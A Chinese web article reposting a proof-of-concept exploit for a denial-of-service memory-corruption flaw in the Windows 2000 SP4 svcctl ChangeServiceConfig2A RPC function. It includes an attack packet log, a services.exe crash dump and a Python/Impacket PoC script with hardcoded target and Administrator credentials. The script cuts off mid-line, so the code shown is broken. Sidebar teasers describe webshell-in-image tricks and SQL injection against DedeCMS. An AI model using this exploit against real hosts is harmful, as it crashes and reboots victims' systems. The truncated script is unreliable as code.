微软Windows DCE-RPC服务控制管理器中的ChangeServiceConfig2A函数内存破坏漏洞
MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day 内存破坏漏洞 PoC 分析与利用 本文提供了一份针对 MS Windows DCE-RPC 服务控制管理器(svcctl)中 ChangeServiceConfig2A() 函数的内存破坏
MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day 内存破坏漏洞 PoC 分析与利用
本文提供了一份针对 MS Windows DCE-RPC 服务控制管理器(svcctl)中 ChangeServiceConfig2A() 函数的内存破坏 0day 漏洞的概念验证(PoC)利用脚本。该漏洞由安全研究员 Krystian Kloskowski (h07) 发现,测试环境为已安装所有补丁的 Windows 2000 SP4 波兰语版。运行此脚本需预先安装 Impacket 和 PyCrypto 库,分别用于 SMB/DCERPC 通信与加密支持。
以下为漏洞触发过程的详细日志(源自原始注释):
[exploit] Session Setup AndX Request, User: Administrator --> [target] [exploit] Session Setup AndX Response <-- [target] [exploit] Tree Connect AndX Request --> [target] [exploit] Tree Connect AndX Response <-- [target] [exploit] NT Create AndX Request, Path: \svcctl --> [target] [exploit] NT Create AndX Response, Fid: 0x4000 <-- [target] [exploit] DCERPC Bind UUID: SVCCTL --> [target] [exploit] DCERPC Bind_ack <-- [target] [exploit] SVCCTL OpenSCManagerW request --> [target] [exploit] SVCCTL OpenSCManagerW response(handle) <-- [target] [exploit] SVCCTL OpenServiceW request --> [target] [exploit] SVCCTL OpenServiceW response(handle) <-- [target] [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target] [exploit] DCERPC Fault: status: unknown(0xc00000fd) <-- [target] [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target] [exploit] SMB Trans Response, Error: Unknown DoS Error <-- [target](crashed)
当崩溃发生时,services.exe 进程的异常状态如下所示:
[Module services]
Exception C0000005 (ACCESS_VIOLATION reading [00000000])
-------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
--> PUSH DWORD PTR [EAX]
[Process services.exe terminated, system reboot]
漏洞的根本原因在于 ChangeServiceConfig2A 函数未能对传入的第四个参数(即结构体中的 struct_3 指针)进行有效校验,直接解引用空指针 0x00000000 从而导致访问违例。以下为完整的 PoC 利用代码(基于 Python 2 实现):
#!/usr/bin/python
from impacket.structure import Structure
from impacket.dcerpc import transport
from impacket import uuid
from random import randint
from time import sleep
host = '192.168.0.1'
username = 'Administrator'
password = 'Administrator_Password'
interface = ('svcctl', '367abb81-9844-35f1-ad32-98f038001003', '2.0')
stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
'host': host,
'pipe': interface[0],
}
def dword_rand():
s_dword = 256 ** 4
return randint(0, s_dword)
def utf16(str):
return str.encode('utf_16_le')
def rpcstr(str, id = 1, unicode_string = 1):
class foo(Structure):
alignment = 4
structure = ()
if(id == 1):
structure = (('id', '
在上述代码中,ChangeServiceConfig2A 结构的 struct_3 字段被硬编码为 0x00000000,这正是触发崩溃的关键所在。该漏洞存在于 Windows 2000 SP4 及更早版本的 services.exe 的 SVCCTL RPC 接口中。实际测试表明,仅需发送两次恶意请求即可导致目标主机的 services.exe 进程终止,进而触发系统自动重启。
(注意:本 PoC 仅用于漏洞研究与学习目的,严禁用于非法用途。)
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
零基础Python网络安全学习指南,包住宿实战培训
先抛出几个核心判断:网络安全人才缺口确实已经超过70万。这个数字不算夸张,各大招聘网站上安全岗位的薪资涨幅和需求增长都是实实在在的。但实话实说,行业真正缺的是能上手干活的人,不是只懂几个理论概念的新手。因此,一套扎实且成体系的训练方案,对于零基础转行或进阶提升就显得格外关键。 从零基础到能够独立应对
网络安全定义与核心概念详解
谈到网络安全,不同组织与标准体系对其定义虽有差异,但核心目标高度统一:保护信息与系统不受威胁侵害。以下梳理几种主流定义—— 什么是网络安全? 国际标准化组织(ISO)在ISO-74982文献中将安全定义为:最大程度地降低数据和资源遭受攻击的可能性。该定义虽简短,却精准点出安全的本质——即风险控制。
IIS 7.0网站漏洞利用与修复方法指南
先来聊聊当前网络安全领域比较流行的一种实战技巧——以PHP环境为例,详细讲解图片马合并与解析漏洞利用的具体操作步骤。整个过程并不复杂,但细节往往决定成败,大家跟着流程逐步操作即可。 合并一张PHP一句话图片马 首先,我们需要将一句话木马脚本与一张正常图片合并,生成一个看似无害的图片文件。合并方式主要
织梦管理系统后台查找功能教程
通过SQL注入漏洞获取织梦CMS(DedeCMS)管理员密码后,满怀期待地准备进入后台,却发现怎么也找不到登录入口——这种情况其实相当常见。别着急,这里有一个实用的技巧值得尝试。 直接在网站地址后面添加以下路径: include dialog select_media php?f=form1 mur
微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析
BrowseDialog Class (ccrpbds6 dll) 导致 Internet Explorer 拒绝服务漏洞分析 该漏洞的PoC(概念验证代码)实现极为直接——触发浏览器崩溃的条件简单得令人意外。测试环境采用Windows XP Professional SP2(已安装全部补丁)并运行
- 热门数据榜
相关攻略
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

